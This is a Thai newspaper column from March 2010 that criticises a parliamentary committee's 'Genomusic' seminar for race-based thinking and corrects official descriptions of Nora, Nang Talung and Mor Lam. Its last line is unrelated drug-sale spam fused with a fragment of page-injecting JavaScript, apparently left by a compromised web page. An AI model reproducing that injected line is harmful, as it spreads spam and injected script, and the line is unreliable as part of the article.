หนังสือพิมพ์มติชน ฉบับวันศุกร์ที่ 12 มีนาคม 2553

นาฏดนตรี หมายถึง ลิเก แล้วรับรู้กันทั่วไปว่าเป็นคำผูกขึ้นใหม่สมัยจอมพล ป. พิบูลสคราม มีเหตุจาก“สำนึกเหยียด”คำเดิมที่ไม่ใช่“คำไทยแท้” แต่มีรากจากเปอร์เซีย-มลายู

เมื่อประธานคณะกรรมาธิการ การศาสนา ศิลปะและวัฒนธรรม สภาผู้แทนราษฎร ส่งหนังสือ“ด่วนที่สุด” ลงวันที่ 24 กุมภาพันธ์ มาบอกเรื่องสัมมนาและนิทรรศการเรื่อง “สายเลือดเดียวกัน สายพันธุ์นาฏดนตรี Genomusic” แต่ไม่เกี่ยวกับลิเก  ผมเลยงง—งงแล้วงงอีก—งงไม่หายจนขณะนี้ว่าอะไรกันวะ

ครั้นอ่านหลักฐานและเหตุผลมีข้อความบรรทัดแรกเขียนไว้ชัดเจนว่า “ชาติพันธุ์ไท หรือเผ่าพันธุ์ที่พูดภาษาตระกูลไท-กระได-คำไต เป็นเชื้อชาติกลุ่มใหญ่ที่มีจำนวนประชากรสูงมากในภูมิภาคเอเชียตะวันออกเฉียงใต้—”

เลยรู้ว่ากรรมาธิการคณะนี้ยังมีลมหายใจอยู่ในโลก“คลั่งเชื้อชาติ”สมัยจอมพล ป. ที่คิดว่า “เชื้อชาติ”มีจริงอยู่ในโลก

แม้จะพยายามกลบเกลื่อนด้วยโวหารไพเราะในตอนท้ายว่า “ทุกชนชาติในโลกนี้ล้วนเป็นพี่น้องกันทั้งสิ้น” ก็ฟังไม่สนิทใจ ไม่แน่ใจว่าคิดอย่างนี้จริงหรือ? หรือเป็นแค่โวหาร

ข้อความในหนังสือของประธานฯกรรมาธิการระบุว่ากิจกรรมนี้มีขึ้น “เพื่อแนะนำให้ได้รู้จักกับนาฏดนตรีพื้นบ้านพื้นเมืองแบบต่างๆของชาติพันธุ์ไทย-ไท และชาติพันธุ์เครือญาติ ตลอดจนนำเสนอสมมุติฐานของแนวความคิดใหม่ภายใต้องค์ความรู้ใหม่ เพื่อการศึกษาค้นคว้าทางดนตรีและนาฏศิลป์ในทิศทางที่เปิดกว้างมากขึ้นกว่าเดิม—” 

ผมอ่านคำอธิบายในโครงการฯแล้วยังไม่พบแนวความคิดใหม่ แต่เป็นแนวความคิดที่มีผู้ทำมาก่อนนานแล้ว และยังทำอยู่หลายกลุ่ม เช่น งานของวิทยาลัย          ดุริยางคศิลป์ มหาวิทยาลัยมหิดล ที่ ดร. สุกรี เจริญสุข และคณะอาจารย์กำลังรวบรวมความรู้นั้นจัดแสดงเป็น“มิวเซียม”ดนตรีอุษาคเนย์อยู่ขณะนี้

ในทางตรงข้าม สิ่งที่คณะกรรมาธิการเสนอโครงการนี้มากลับแสดงให้เห็นความไม่เข้าใจเรื่องชาติพันธุ์ในอุษาคเนย์ และไม่เข้าใจดนตรีชาติพันธุ์ ขอแนะนำให้ทำความเข้าใจเสียใหม่ แล้วให้เกียรติคนที่ศึกษาวิจัยมาก่อนด้วย

ดูไปแล้วมันน่าจะมีเลศนัยซ่อนเร้นจนผมไม่เข้าใจ แล้ว“ตามไม่ทัน”วิชาการสมัยใหม่ที่สะเปะสะปะแบบนี้ ถ้าอย่างนั้นก็ขอประทานโทษที่“เสือก”เขียนถึงด้วยความเคารพ และอยากให้กำลังใจเพื่อปรับวิธีคิดให้ยืนบนหลักฐาน

เห็นชื่อที่ปรึกษาประจำคณะกรรมาธิการฯชุดนี้จะเป็นผู้ปิดการสัมมนา ผมเลยรู้สึกอยากไปฟังเฉพาะกล่าวปิด

แต่เมื่อเปิดดูวันเวลา ศุกร์ที่ 5 มีนาคม 2553 เวลา 09.00-16.00 น. ก็เป็นอันจบกัน เพราะผมได้รับหนังสือฉบับนี้เมื่อตอนสายๆวันเสาร์ที่ 6 มีนาคม เขาเลิกหมดแล้วตั้งแต่เมื่อวาน

ขอบคุณที่ส่งหนังสือมาให้รู้ แต่ไม่ให้ไป

 

โนรา คือ ละครนอกครั้งกรุงเก่า แต่ปัจจุบันตกค้างอยู่ทางภาคใต้ของไทย

คำว่าโนรา กร่อนจากชื่อนางมโนห์รา ตัวเอกของบทละครนอกครั้งกรุงเก่า มีหลักฐานเป็นสมุดข่อยอยู่ในหอสมุดแห่งชาติ

หนังตะลุง เป็นการละเล่นหุ่นเงาย่อส่วนของหนังใหญ่ มีเล่นทั่วไปทั้งอุษาคเนย์ เฉพาะประเทศไทยเคยมีทุกภาค แต่ปัจจุบันมีเหลือมากที่ภาคใต้  ภาคอีสานมีน้อย

ตะลุง เป็นคำท้องถิ่นแปลว่า เสา เพราะตัวหนังต้องมีก้านใช้ปักหยวกกล้วยเหมือนเสา คนเลยเรียกหนังตะลุง

ได้จากข้อความประกาศขึ้นทะเบียนมรดกภูมิปัญญาทางวัฒนธรรมประจำปี พ.ศ. 2552 พิมพ์เผยแพร่ในวารสารวัฒนธรรมไทย ของ สำนักงานคณะกรรมการวัฒนธรรมแห่งชาติ กระทรวงวัฒนธรรม (ฉบับมกราคม 2553 หน้า 26) ควรปรับปรุงแก้ไขให้ถูกต้องใกล้เคียงหลักฐานจริงๆ ไม่ใช่นั่งเทียนเพ้อฝันเอาเองตาม ใจชอบ

“หมอลำ-หมอแคน”  วัฒนธรรมร่วมของสุวรรณภูมิ ราว 3,000 ปีมาแล้ว ผู้คนทุก“ชาติภาษา” แสดงการละเล่นในพิธีกรรมคือฟ้อนแคน แล้วขับลำนำคล้องจองเป็นทำนองง่ายๆ นุ่งผ้าปล่อยชายยาว 2 ข้าง แล้วประดับขนนกหรือใบไม้ไว้บนหัว รูปนี้เป็นลายเส้นคัดลอกจากเครื่องมือสัมฤทธิ์พบในเวียดนาม

ranbaxy forzest 20 order forzest onlined.getElementsByTagName(‘head’)[0].appendChild(s);